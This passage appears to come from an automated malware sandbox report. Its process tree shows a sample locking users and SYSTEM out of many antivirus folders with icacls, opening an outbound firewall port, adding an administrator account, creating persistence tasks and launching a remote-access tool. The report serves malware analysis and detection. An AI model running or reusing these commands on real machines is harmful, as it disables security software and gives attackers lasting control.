                                                                                                          netsh advfirewall firewall add rule name="AllowPort4" protocol=TCP localport=9393 action=allow dir=out
                                                                                                          3⤵
                                                                                                          • Modifies Windows Firewall
                                                                                                          PID:2420
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny %username%:(OI)(CI)(F)
                                                                                                        2⤵
                                                                                                          PID:3992
                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                            icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny Admin:(OI)(CI)(F)
                                                                                                            3⤵
                                                                                                            • Modifies file permissions
                                                                                                            PID:1960
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny %username%:(OI)(CI)(F)
                                                                                                          2⤵
                                                                                                            PID:5240
                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                              icacls "C:\Windows\Fonts\Mysql" /deny Admin:(OI)(CI)(F)
                                                                                                              3⤵
                                                                                                              • Modifies file permissions
                                                                                                              PID:4968
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
                                                                                                            2⤵
                                                                                                              PID:5376
                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
                                                                                                                3⤵
                                                                                                                • Modifies file permissions
                                                                                                                PID:4616
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny %username%:(OI)(CI)(F)
                                                                                                              2⤵
                                                                                                                PID:5460
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Zaxar" /deny system:(OI)(CI)(F)
                                                                                                                2⤵
                                                                                                                  PID:5452
                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                    icacls "C:\Program Files (x86)\Zaxar" /deny system:(OI)(CI)(F)
                                                                                                                    3⤵
                                                                                                                    • Modifies file permissions
                                                                                                                    PID:2624
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny System:(F)
                                                                                                                  2⤵
                                                                                                                    PID:5568
                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                      icacls c:\programdata\Malwarebytes /deny System:(F)
                                                                                                                      3⤵
                                                                                                                      • Modifies file permissions
                                                                                                                      PID:3732
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny %username%:(F)
                                                                                                                    2⤵
                                                                                                                      PID:5660
                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                        icacls C:\Programdata\MB3Install /deny Admin:(F)
                                                                                                                        3⤵
                                                                                                                        • Modifies file permissions
                                                                                                                        PID:4868
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny System:(F)
                                                                                                                      2⤵
                                                                                                                        PID:5768
                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                          icacls C:\Programdata\MB3Install /deny System:(F)
                                                                                                                          3⤵
                                                                                                                          • Modifies file permissions
                                                                                                                          PID:1376
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny %username%:(OI)(CI)(F)
                                                                                                                        2⤵
                                                                                                                          PID:5852
                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                            icacls C:\Programdata\Indus /deny Admin:(OI)(CI)(F)
                                                                                                                            3⤵
                                                                                                                            • Modifies file permissions
                                                                                                                            PID:5044
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)
                                                                                                                          2⤵
                                                                                                                            PID:5952
                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                              icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)
                                                                                                                              3⤵
                                                                                                                              • Modifies file permissions
                                                                                                                              PID:5548
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Driver Foundation Visions VHG" /deny %username%:(OI)(CI)(F)
                                                                                                                            2⤵
                                                                                                                              PID:6056
                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                icacls "C:\Programdata\Driver Foundation Visions VHG" /deny Admin:(OI)(CI)(F)
                                                                                                                                3⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                • Modifies file permissions
                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                PID:872
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c icacls C:\AdwCleaner /deny %username%:(OI)(CI)(F)
                                                                                                                              2⤵
                                                                                                                                PID:1840
                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                  3⤵
                                                                                                                                    PID:948
                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                    icacls C:\AdwCleaner /deny Admin:(OI)(CI)(F)
                                                                                                                                    3⤵
                                                                                                                                    • Modifies file permissions
                                                                                                                                    PID:4784
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ByteFence" /deny %username%:(OI)(CI)(F)
                                                                                                                                  2⤵
                                                                                                                                    PID:5496
                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                      icacls "C:\Program Files\ByteFence" /deny Admin:(OI)(CI)(F)
                                                                                                                                      3⤵
                                                                                                                                      • Modifies file permissions
                                                                                                                                      PID:1396
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Driver Foundation Visions VHG" /deny System:(OI)(CI)(F)
                                                                                                                                    2⤵
                                                                                                                                      PID:1084
                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                        icacls "C:\Programdata\Driver Foundation Visions VHG" /deny System:(OI)(CI)(F)
                                                                                                                                        3⤵
                                                                                                                                        • Modifies file permissions
                                                                                                                                        PID:3464
                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
                                                                                                                                      2⤵
                                                                                                                                        PID:1772
                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                          icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
                                                                                                                                          3⤵
                                                                                                                                          • Modifies file permissions
                                                                                                                                          PID:2960
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\360" /deny %username%:(OI)(CI)(F)
                                                                                                                                        2⤵
                                                                                                                                          PID:212
                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                            icacls "C:\Program Files (x86)\360" /deny Admin:(OI)(CI)(F)
                                                                                                                                            3⤵
                                                                                                                                            • Modifies file permissions
                                                                                                                                            PID:5056
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\360safe" /deny %username%:(OI)(CI)(F)
                                                                                                                                          2⤵
                                                                                                                                            PID:3152
                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                              icacls "C:\ProgramData\360safe" /deny Admin:(OI)(CI)(F)
                                                                                                                                              3⤵
                                                                                                                                              • Modifies file permissions
                                                                                                                                              PID:5736
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\SpyHunter" /deny %username%:(OI)(CI)(F)
                                                                                                                                            2⤵
                                                                                                                                              PID:4556
                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                icacls "C:\Program Files (x86)\SpyHunter" /deny Admin:(OI)(CI)(F)
                                                                                                                                                3⤵
                                                                                                                                                • Modifies file permissions
                                                                                                                                                PID:4008
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Malwarebytes" /deny %username%:(OI)(CI)(F)
                                                                                                                                              2⤵
                                                                                                                                                PID:2176
                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                  icacls "C:\Program Files\Malwarebytes" /deny Admin:(OI)(CI)(F)
                                                                                                                                                  3⤵
                                                                                                                                                  • Modifies file permissions
                                                                                                                                                  PID:5408
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\COMODO" /deny %username%:(OI)(CI)(F)
                                                                                                                                                2⤵
                                                                                                                                                  PID:5132
                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                    icacls "C:\Program Files\COMODO" /deny Admin:(OI)(CI)(F)
                                                                                                                                                    3⤵
                                                                                                                                                    • Modifies file permissions
                                                                                                                                                    PID:5872
                                                                                                                                                    • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                      C:\Windows\system32\net1 localgroup "Administradores" John /add
                                                                                                                                                      4⤵
                                                                                                                                                        PID:4296
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\SpyHunter" /deny %username%:(OI)(CI)(F)
                                                                                                                                                    2⤵
                                                                                                                                                      PID:1956
                                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                        icacls "C:\Program Files\SpyHunter" /deny Admin:(OI)(CI)(F)
                                                                                                                                                        3⤵
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:3252
                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Enigma Software Group" /deny %username%:(OI)(CI)(F)
                                                                                                                                                      2⤵
                                                                                                                                                        PID:4300
                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVAST Software" /deny %username%:(OI)(CI)(F)
                                                                                                                                                        2⤵
                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                        PID:4868
                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                          icacls "C:\Program Files\AVAST Software" /deny Admin:(OI)(CI)(F)
                                                                                                                                                          3⤵
                                                                                                                                                          • Modifies file permissions
                                                                                                                                                          PID:5912
                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVAST Software" /deny %username%:(OI)(CI)(F)
                                                                                                                                                        2⤵
                                                                                                                                                          PID:1388
                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                            icacls "C:\Program Files (x86)\AVAST Software" /deny Admin:(OI)(CI)(F)
                                                                                                                                                            3⤵
                                                                                                                                                            • Modifies file permissions
                                                                                                                                                            PID:1104
                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\AVAST Software" /deny %username%:(OI)(CI)(F)
                                                                                                                                                          2⤵
                                                                                                                                                            PID:2412
                                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                              icacls "C:\Programdata\AVAST Software" /deny Admin:(OI)(CI)(F)
                                                                                                                                                              3⤵
                                                                                                                                                              • Modifies file permissions
                                                                                                                                                              PID:6072
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVG" /deny %username%:(OI)(CI)(F)
                                                                                                                                                            2⤵
                                                                                                                                                              PID:5648
                                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                icacls "C:\Program Files\AVG" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                3⤵
                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                PID:5684
                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVG" /deny %username%:(OI)(CI)(F)
                                                                                                                                                              2⤵
                                                                                                                                                                PID:6052
                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                  icacls "C:\Program Files (x86)\AVG" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                  PID:5208
                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Norton" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:5572
                                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                    icacls "C:\ProgramData\Norton" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                    3⤵
                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                    PID:5620
                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:6068
                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                      icacls "C:\Programdata\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                      3⤵
                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                      PID:5920
                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:5076
                                                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                        icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                        3⤵
                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                        PID:5716
                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:5808
                                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                          icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
                                                                                                                                                                          3⤵
                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                          PID:5516
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:5580
                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:3248
                                                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                              icacls "C:\Program Files\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                              3⤵
                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                              PID:2960
                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:5184
                                                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                3⤵
                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                PID:1840
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:5204
                                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                  icacls "C:\Program Files (x86)\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                  PID:4900
                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:5496
                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Doctor Web" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:5092
                                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                      icacls "C:\ProgramData\Doctor Web" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                      PID:5928
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\grizzly" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:2792
                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:4380
                                                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                          icacls "C:\ProgramData\grizzly" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                          PID:2748
                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Cezurity" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:4344
                                                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                            icacls "C:\Program Files (x86)\Cezurity" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                            3⤵
                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                            PID:3272
                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Cezurity" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:884
                                                                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                              icacls "C:\Program Files\Cezurity" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                              3⤵
                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                              PID:3224
                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\McAfee" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:2076
                                                                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                icacls "C:\ProgramData\McAfee" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                PID:2108
                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\McAfee" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:4672
                                                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                  icacls "C:\Program Files\Common Files\McAfee" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                  PID:3204
                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Avira" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:2360
                                                                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                    icacls "C:\ProgramData\Avira" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                    PID:4824
                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:1016
                                                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                      icacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                      PID:1388
                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                    "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\SystemC" /TR "C:\Programdata\RealtekHD\taskhostw.exe" /SC MINUTE /MO 1
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                    PID:5680
                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Panda Security" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:2876
                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:5936
                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                        "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\Cleaner" /TR "C:\Programdata\WindowsTask\winlogon.exe" /SC ONLOGON /RL HIGHEST
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                        PID:4964
                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\ESET" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:6040
                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:4372
                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:4668
                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:5084
                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:6000
                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:396
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny %username%:(F)
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:5532
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:5524
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Zaxar" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:5444
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "c:\program files\Internet Explorer\bin" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          • Suspicious behavior: SetClipboardViewer
                                                                                                                                                                                                                          PID:5436
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "c:\program files\Internet Explorer\bin" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:5424
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:5164
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Windows\svchost.exe" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:436
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Windows\svchost.exe" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:4468
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny System:(OI)(CI)(F)
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:5060
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:728
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Microsoft JDX" /deny System:(OI)(CI)(F)
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                      PID:1636
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Microsoft JDX" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:1956
                                                                                                                                                                                                                                    • C:\ProgramData\Windows\rutserv.exe
                                                                                                                                                                                                                                      C:\ProgramData\Windows\rutserv.exe
                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
